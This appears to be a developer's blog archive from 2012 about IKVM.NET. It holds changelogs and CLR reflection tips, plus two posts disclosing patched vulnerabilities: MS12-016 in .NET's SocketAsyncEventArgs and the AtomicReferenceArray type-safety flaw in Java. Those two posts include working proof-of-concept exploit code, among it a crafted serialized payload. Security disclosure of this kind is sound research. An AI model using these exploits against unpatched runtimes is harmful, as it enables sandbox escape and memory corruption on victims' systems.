Monday, March 26, 2012

New Development Snapshot

Enough changes to warrant a new development snapshot.

Changes:

  • Fixes and improvements to Windows version of JFileChooser.
  • Bug fix. When writing a direct ByteBuffer to a non-blocking socket and the write fails because there is no kernel buffer available, we should not advance the ByteBuffer position.
  • Bug fix. Non-public property getter/setter methods should be ignored when we create properties to hide properties inherited from shadow types. This fixes a build break with .NET 4.5 beta which introduces a protected setter for Exception.HResult.
  • Bug fix. Custom attribute properties that don't have a public getter and setter should not be exposed as annotation properties.
  • Added ikvmc -win32manifest: option.
  • Added ikvmc -filealign: option.
  • Added ikvmc -highentropyva option (to enable high entropy ASLR in 64 bit processes on Windows 8).
  • Added support for custom paper format to Win32 print service.
  • Changed ikvmstub to create a missing assembly when a dependency is not found and only complain about it when it is actually needed.
  • Added explicit -help and -? options to ikvmc.
  • Added ikvmc -nologo option.
  • Changed ikvmc to print copyright when compiling (unless -nolog is specified).
  • Cleaned up to ikvmc help message.
  • Lots of ikvmc error handling clean up. All errors now have an IKVMCnnnn error code.
  • Added support to ikvmc to automatically set the full source path in the debugging info if the source file lives next to the .class file.
  • Improved BufferedImage.setRGB().
  • IKVM.Reflection: Added AssemblyBuilder.__DefineManifestResource() API to add a Win32 manifest resource.
  • IKVM.Reflection: Various win32 resource related methods on AssemblyBuilder now throw ArgumentException if a conflicting resource has already been defined.
  • IKVM.Reflection: Marked ModuleBuilder.__SetStackReserve() obsolete and made ModuleBuilder.__StackReserve property writeable to be consistent with __ImageBase property.
  • IKVM.Reflection: New API. Made ModuleBuilder.__FileAlignment writeable.
  • IKVM.Reflection: New API. Added Module.__DllCharacteristics and ModuleBuilder.__DllCharacteristics properties to get and set image DLL characteristics flags.

Binaries available here: ikvmbin-7.1.4468.zip

3/26/2012 8:53:15 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [10]

Friday, March 16, 2012

IKVM.Reflection: Inspecting an Assembly Without Loading Dependencies

One of the advantages of IKVM.Reflection over System.Reflection is that it is much easier to load an assembly without having to load its dependencies. This functionality is used by Mono's C# compiler to load referenced assemblies without having to (potentially) load the transitive closure of dependencies of those assemblies.

Here's a simple example that loads an assembly and prints its types and members:

using System;
using IKVM.Reflection;

class Program {
  const BindingFlags AllDeclared =
    BindingFlags.Public |
    BindingFlags.NonPublic |
    BindingFlags.Instance |
    BindingFlags.Static |
    BindingFlags.DeclaredOnly;

  static void Main(string[] args) {
    var universe = new Universe();
    universe.AssemblyResolve += AssemblyResolve;
    var assembly = universe.LoadFile(args[0]);
    foreach (var type in assembly.GetTypes()) {
      Console.WriteLine(type.FullName);
      WriteMembers(type.GetFields(AllDeclared));
      WriteMembers(type.GetProperties(AllDeclared));
      WriteMembers(type.GetEvents(AllDeclared));
      WriteMembers(type.GetConstructors(AllDeclared));
      WriteMembers(type.GetMethods(AllDeclared));
    }
  }

  static void WriteMembers(MemberInfo[] members) {
    foreach (var member in members)
      Console.WriteLine(" {0}", member);
  }

  static Assembly AssemblyResolve(object sender, IKVM.Reflection.ResolveEventArgs args) {
    return ((Universe)sender).CreateMissingAssembly(args.Name);
  }
}

When you don't handle the Universe.AssemblyResolve event (or non of the handlers return an assembly), IKVM.Reflection will fall back to using System.Reflection.Assembly.ReflectionOnlyLoad() and then use the Location property of the returned assembly and load the assembly from there.

If you do handle the Universe.AssemblyResolve event, you can either find the assembly somewhere and load it, or use Universe.CreateMissingAssembly() to create a placeholder Assembly that will automatically resolve all types and members that it is expected to contain (based on references from loaded assemblies that are inspected).

When you're reflecting over the members you can encounter types and members from the missing assemblies and you should be prepared to handle these because many operations are not allowed on them (since there is no type or member definition, a lot of information simply isn't available). You can detect these missing types or members by looking at the MemberInfo.__IsMissing property.

3/16/2012 1:26:07 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Thursday, March 15, 2012

Lesser Known CLR Custom Attributes -- UnsafeValueType

In a comment to the previous post about CLR Custom Attributes I listed some other custom attributes that the CLR recognizes (by name). Some of them I previously thought were compiler only custom attributes, so I decided to investigate them.

System.Runtime.CompilerServices.UnsafeValueTypeAttribute

The documentation for this attribute, somewhat uncharacteristically, actually explains what it does, but I decided to try it out.

Here's an example that demonstrates what it does:

using System;
using System.Runtime.CompilerServices;

//[UnsafeValueType]
struct Foo {
  public int field;
}

class Program {
  [MethodImpl(MethodImplOptions.NoOptimization)]
  static void Main() {
    int i = 1234;
    Foo foo = new Foo();
    Corrupt(ref foo, ref i);
    Console.WriteLine(i);
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  unsafe static void Corrupt(ref Foo foo, ref int unused) {
    fixed (int* p = &foo.field) {
      *(long*)p = 4567L << 32;
    }
  }
}

When you run this it prints out 4567 and terminates successfully. However, when you uncomment the //[UnsafeValueType] line and then run it again, you'll see that it prints out 1234 and crashes and if you attach a debugger you see that it crashes with error code STATUS_STACK_BUFFER_OVERRUN because the CLR inserted a canary on the stack after the unsafe value type.

As the documentation indicates, both the C++ and C# compiler use this attribute. The C++ compiler uses it to implement /GS for managed code and the C# compiler automatically applies it to the value types that it creates to represent fixed size buffers.

3/15/2012 9:42:27 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, March 12, 2012

New Development Snapshot

It's been a while since I released a development snapshot. Volker fixed several AWT issues and I've been doing mostly IKVM.Reflection work.

Changes:

  • Prevent IKVMC0109 warning when a stub is encountered after the corresponding type has already been loaded.
  • Bug fix. The $Method inner class for delegates should also be loadable for generic delegates. Thanks to Michael Bayne for reporting this.
  • Add dummy splashscreen native library to VFS. Fix for #3480917.
  • Fix a bug with a ToolkitImage as frame icon.
  • Fix the native file dialog, it was created in the wrong thread and the method blockWindows(List) was not implemented
  • Synchronized the BufferedImage bitmap to fix "System.InvalidOperationException: The object is currently in use elsewhere." if the BufferedImage is used from multiple threads (as is valid in Java).
  • Workaround a problem in sun.util.locale.LocaleObjectCache that assumes that a SoftReference is always immediately enqueued when get() returns null. Now we actively enqueue the reference in get() when the reference was cleared by the GC (instead of waiting for the QueueWatcher to eventually enqueue the reference from the finalizer).
  • Merged security changes to AtomicReferenceArray.
  • Intrinsified the unsafe.objectFieldOffset(XXX.class.getDeclaredField("xxx")) pattern to avoid expensive reflection field lookup in static initializers of common OpenJDK classes.
  • Override Toolkit.areExtraMouseButtonsEnabled() to avoid infinite recursion.
  • Fix a deadlock for TooltipImages which complete with a ImageObserver.FRAMEBITS instead with ImageObserver.ALLBITS. The problem occur with JDownloader.
  • Replace all RasterOp with the versions from GNU Classpath because the original use native code that was not ported and didn't work.
  • Fixed a NullReferenceException in ConvertRegion.
  • Added support for window with transparent background.
  • Added support for undecorated Frame and Dialog.
  • Fixed IPv6 address bug. When the scope ID is zero we should pass -1 to the Inet6Address constructor (this will cause its scope_id to remain 0 and scope_id_set to remain false).
  • Added Unsafe methods used by Akka.
  • Avoid linking class constant pool entries that aren't used (or are only used by name). This avoids spurious IKVMC0100 warnings and unnecessary class load attempts.
  • IKVM.Reflection: Performance tweak to AssemblyName.FullName. Inspired by Marek Safar.
  • IKVM.Reflection: TypeNameParser.Escape() performance tweak by Marek Safar.
  • IKVM.Reflection: Added UniverseOptions.DisableFusion to explicitly disable Fusion (without having to resort to setting the IKVM_DISABLE_FUSION environment variable).
  • IKVM.Reflection: Optimized assembly lookup. Thanks to Marek Safar for the pointer.
  • IKVM.Reflection: Cache the assembly FullName in Assembly. This brings the Assembly.FullName property performance more inline with System.Reflection which also caches the FullName (computing the FullName is expensive).
  • IKVM.Reflection: Use binary search for sorted metadata table lookups.
  • IKVM.Reflection: Added new API MethodInfo.__GetMethodImpls() to efficiently get the MethodImpls for a specific method.
  • IKVM.Reflection: Bug fix. TypeDefImpl.__GetMethodImplMap() should populate typeArgs before using it.
  • IKVM.Reflection: Added RawModule.ModuleVersionId property.
  • IKVM.Reflection: Support building an "mscorlib" assembly that is not named mscorlib.
  • IKVM.Reflection: Added Type.__CreateMissingProperty() API to enable symbolic properties in custom attributes.
  • IKVM.Reflection: Added Universe.MissingTypeIsValueType event to enable missing types (i.e. symbolic types) to be used in signatures.

Binaries available here: ikvmbin-7.1.4454.zip

3/12/2012 10:50:41 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, March 08, 2012

CLR Supported Custom Attributes

After working with the CLR for more than a decade, once in a while I still run into surprising behavior.

It turns out that the (non pseudo-) custom attributes that CLR recognizes are only matched by name, not assembly.

So you can do this for example:

using System;
using System.Threading;

namespace System {
  class ThreadStaticAttribute : global::System.Attribute { }
}

class Program {
  [System.ThreadStaticAttribute]
  static int foo;

  public static void Main() {
    WriteFoo();
    foo = 42;
    WriteFoo();
    new Thread(WriteFoo).Start();
  }

  static void WriteFoo() {
    Console.WriteLine(foo);
  }
}

On the CLR the foo static variable is a thread local, but on Mono it isn't.

3/8/2012 2:35:51 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]

Sunday, March 04, 2012

Lang.NEXT

I'm looking forward to speaking at Lang.NEXT. To be held at the Microsoft Campus on April 2 - 4.

If you're in the neighborhood and are interested in programming language design and implementation, this is your opportunity to find out if there really is such a thing as a free lunch.

3/4/2012 11:15:02 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, February 27, 2012

MS12-016 Vulnerability Details

Unlike most bugs that I run into, this one I actively went looking for. After being reminded of the cloning attack (in the context of Java) I wrote some reflection code to scan the BCL for public types that are cloneable (i.e. subclassable) and contain unmanaged pointer fields. This is a bad combination. A class that showed up as potentially vulnerable was SocketAsyncEventArgs and a few minutes with ildasm confirmed it.

I had at that time fairly recently written about another Socket vulnerability (that was fixed in MS11-039), but that was a complete coincidence. As I said this bug was found via (trivial) static analysis.

Here's an example exploit (not very reliable):

using System;
using System.Net;
using System.Net.Sockets;

class MySocketAsyncEventArgs : System.Net.Sockets.SocketAsyncEventArgs
{
  public MySocketAsyncEventArgs Clone()
  {
    return (MySocketAsyncEventArgs)MemberwiseClone();
  }
}

class Program
{
  static void Main()
  {
    GC.Collect();

    byte[] buf1 = new byte[1024];
    object[] dummy = new object[1024];
    for (int i = 0; i < dummy.Length; i++)
      dummy[i] = new byte[1024];
    byte[] buf2 = new byte[1];
    MySocketAsyncEventArgs args = new MySocketAsyncEventArgs();
    args.SetBuffer(buf1, 0, buf1.Length);
    MySocketAsyncEventArgs copy = args.Clone();
    args.Dispose();
    buf1 = null;

    GC.Collect();

    Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    server.Bind(new IPEndPoint(IPAddress.Loopback, 0));
    server.Listen(1);
    Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    client.Connect(server.LocalEndPoint);
    Socket conn = server.Accept();

    byte[] buf = new byte[1024];
    for (int i = 0; i < buf.Length; i++)
      buf[i] = 0xFF;
    client.Send(buf);
    conn.ReceiveAsync(copy);
    System.Threading.Thread.Sleep(100);

    // now we have a magic array that allows us arbitrary memory access
    Console.WriteLine(buf2.Length);
    Console.WriteLine(buf2[1000000000]); // AccessViolation

    GC.SuppressFinalize(copy);
  }
}
2/27/2012 8:58:32 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, February 23, 2012

February 2012 Java Critical Patch Update Vulnerability Details

Last week, Oracle released the February 2012 Oracle Java SE Critical Patch Update. This included fixes for two related problems I reported to them on August 1, 2011. The first problem is also what inspired the post about disabling the security manager.

This is another one of those security vulnerabilities that I stumbled into without looking for it. When I was integrating OpenJDK 7, I merged some minor changes into AtomicReferenceArray and after that a couple of JSR-166 TCK tests failed. After a little investigation I found that the problematic code was:

public AtomicReferenceArray(E[] array) {
    // Visibility guaranteed by final field guarantees
    this.array = array.clone();
}

One of the tests constructs the AtomicReferenceArray by passing in an java.lang.Integer array and a subsequent store in the array would fail on IKVM.NET, because the IKVM.NET implementation of AtomicReferenceArray.set() uses the ldelema instruction to get the address of the array element so it can subsequently do a volatile store to that location. When you use the ldelema instruction the CLR will do a type check to make sure the array can safely hold values of that type and this type check failed, because the code assumed that the array is always an object array, but in this case it was a java.lang.Integer array.

At first I simply fixed this by changing the constructor back to what it previously did (always allocate a new Object array), but after some reflection I realized that this might be a security issue.

To see why this could be a security issue, you need to know that HotSpot (Server) is capable of doing some pretty amazing optimizations. What I conjectured was that HotSpot might be able to inline the constructor and subsequent get operation and then optimize away a cast operation that follows the get operation. Here's an example:

AtomicReferenceArray ara = new AtomicReferenceArray(new Integer[1]);
Integer value = (Integer)ara.get(0);

HotSpot Server is able to deduce is this case that the (Integer) cast is redundant. However, what it fails to take into account is that AtomicReferenceArray uses sun.misc.Unsafe to directly access the array and this means that even though the array here is of type Integer, the AtomicReferenceArray.set() method allows you to store any reference in the array. So a slightly modified version will violate type safety:

AtomicReferenceArray ara = new AtomicReferenceArray(new Integer[1]);
ara.set(0, "foo");
Integer value = (Integer)ara.get(0);

Now value contains a string while being typed as Integer.

Here's a full working example (it's little bit more convoluted, because you need to coax HotSpot into fully optimizing the code):

import java.util.concurrent.atomic.*;

public class vuln
{
  int field1;
  static volatile Object obj = new vuln();
  static volatile boolean done;

  public static void main(String[] args) throws Exception
  {
    new Thread() {
      public void run() {
        try { Thread.sleep(3000); } catch (Exception _) { }
        obj = "foo";
        System.out.println("done");
        try { Thread.sleep(30); } catch (Exception _) { }
        done = true;
      }
    }.start();
    for (;;) {
      doIt();
    }
  }

  static void doIt()
  {
    AtomicReferenceArray r = new AtomicReferenceArray(new vuln[1]);
    r.set(0, obj);
    frob((vuln)r.get(0));
  }

  static void frob(vuln v) {
    if (done) {
      System.out.println(v.field1);
      v.field1 += 8;
      System.out.println("foo");
      System.exit(0);
    }
  }
}

This vulnerability was interesting to me because it required some pretty advanced HotSpot optimizations, but this also made it less of a real-world issue, because I was unable to get HotSpot Client VM to do these optimizations, so a browser running Java was not likely to be vulnerable. However, while I was preparing to report this to Oracle it occurred to me that there was a much bigger security vulnerability that had been lingering in AtomicReferenceArray since it was first introduced in Java 5. By manually constructing a serialized object graph you can stick any array you want into an AtomicReferenceArray instance and then use the AtomicReferenceArray.set() method to write an arbitrary reference to violate type safety.

Here's an example of that:

import java.io.*;
import java.util.concurrent.atomic.*;

class Union1 { }
class Union2 { }

public class test
{
  static byte[] buf = new byte[] {
    -84, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103,
    46, 79, 98, 106, 101, 99, 116, 59, -112, -50, 88, -97, 16, 115, 41, 108, 2, 0,
    0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 9, 91, 76, 85, 110, 105, 111, 110, 49, 59,
    -2, 44, -108, 17, -120, -74, -27, -1, 2, 0, 0, 120, 112, 0, 0, 0, 1, 112, 115,
    114, 0, 48, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 99, 117,
    114, 114, 101, 110, 116, 46, 97, 116, 111, 109, 105, 99, 46, 65, 116, 111, 109,
    105, 99, 82, 101, 102, 101, 114, 101, 110, 99, 101, 65, 114, 114, 97, 121, -87,
    -46, -34, -95, -66, 101, 96, 12, 2, 0, 1, 91, 0, 5, 97, 114, 114, 97, 121, 116,
    0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101,
    99, 116, 59, 120, 112, 113, 0, 126, 0, 3
  };

  public static void main(String[] args) throws Throwable
  {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buf));
    Object[] arr = (Object[])ois.readObject();
    Union1[] u1 = (Union1[])arr[0];
    AtomicReferenceArray ara = (AtomicReferenceArray)arr[1];
    ara.set(0, new Union2());
    System.out.println(u1[0]);
  }
}
2/23/2012 1:45:55 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]